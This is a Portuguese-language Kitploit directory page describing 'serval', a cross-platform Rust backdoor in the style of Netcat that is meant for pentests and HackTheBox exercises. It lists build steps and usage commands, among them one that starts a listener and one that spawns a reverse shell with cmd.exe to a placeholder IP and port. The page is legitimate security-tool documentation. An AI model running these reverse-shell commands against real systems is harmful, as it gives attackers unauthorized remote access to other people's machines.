Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
serval — Um backdoor no estilo Netcat para testes de penetração e exercícios de pentest. | Kitploit
Ferramentas/GitHubGitHub/tgadola/serval
Geração de PayloadsTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubtgadola/serval

serval

Um backdoor no estilo Netcat para testes de penetração e exercícios de pentest.

Ver Repositório
506há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Um backdoor estilo Netcat para testes de penetração e desafios de pentest

Serval é um binário leve e fácil de usar para gerar shells reversas e bind para pentests ou exercícios de pentest. Serval é multiplataforma e pode ser compilado para Windows 32 e 64 bits e Linux 32 e 64 bits. Nota: Devido à flexibilidade do Rust, pode ser possível compilar para outras plataformas (como ARM), mas não testei para outras plataformas.

Por quê?

Desenvolvi Serval para remover minha dependência do netcat durante desafios do HacktheBox, já que pode ser problemático encontrar binários do netcat para Windows (especialmente com a opção -e) e é ainda mais difícil encontrar um binário de uma fonte confiável.

Características

  • Compilação cruzada! Pode ser construído para Linux ou Windows
  • Histórico de linha de comando. As setas para cima e para baixo percorrem o histórico de comandos.
  • Pesquisa no histórico de linha de comando! ctrl-r para pesquisa reversa no histórico de comandos.
  • Edição de linha. As teclas Backspace e setas esquerda-direita funcionam!
  • Interoperabilidade. Só tem netcat no seu alvo? Sem problemas! O listener do serval ainda pode capturar a shell e fornecer recursos avançados.

Instalação

Usuários do Rust (Compilar a partir do código-fonte)

Baixe o código-fonte do github

git clone https://github.com/tgadola/serval.git && cd serval-master

*Opcional: Edite o arquivo de construção em .cargo/config para reescrever seu caminho de construção.

Compile o binário para sua plataforma atual.

cargo build --release

*Nota: v1.1.0 requer Rust nightly

Você pode compilar para outras plataformas usando

cargo build --release --target <target-triple>

Outros

Se você é uma pessoa particularmente confiante, pode baixar os binários pré-construídos aqui.

Uso

Por padrão, o Serval irá escutar ou conectar a uma porta e canalizar a entrada e saída padrão para essa conexão. A flag -e irá gerar um processo e canalizar sua entrada e saída padrão através da rede.

Iniciar um listener

Serval escuta em todas as interfaces.

Use a flag -H para ativar os recursos de edição de linha e histórico de comandos!

serval -l 4400 -H

Gerar uma shell reversa

serval.exe <listening ip> <listening port> -q -e cmd.exe

????

Lucro

Agradecimentos Especiais

Um grande agradecimento a @kkawakam-transferwise e seu crate Rustyline, que faz literalmente todo o trabalho pesado. Confira Rustyline!

Obrigado aos criadores e contribuidores do Clap! Confira Clap.

Obrigado aos criadores e contribuidores do Anyhow! Confira Anyhow. +1 pelo ótimo nome do crate.

Obrigado a @jaynus por todos os seus conselhos sobre Rust

Licença

Apache 2.0. Veja o arquivo de Licença para mais informações.

Baixar ferramenta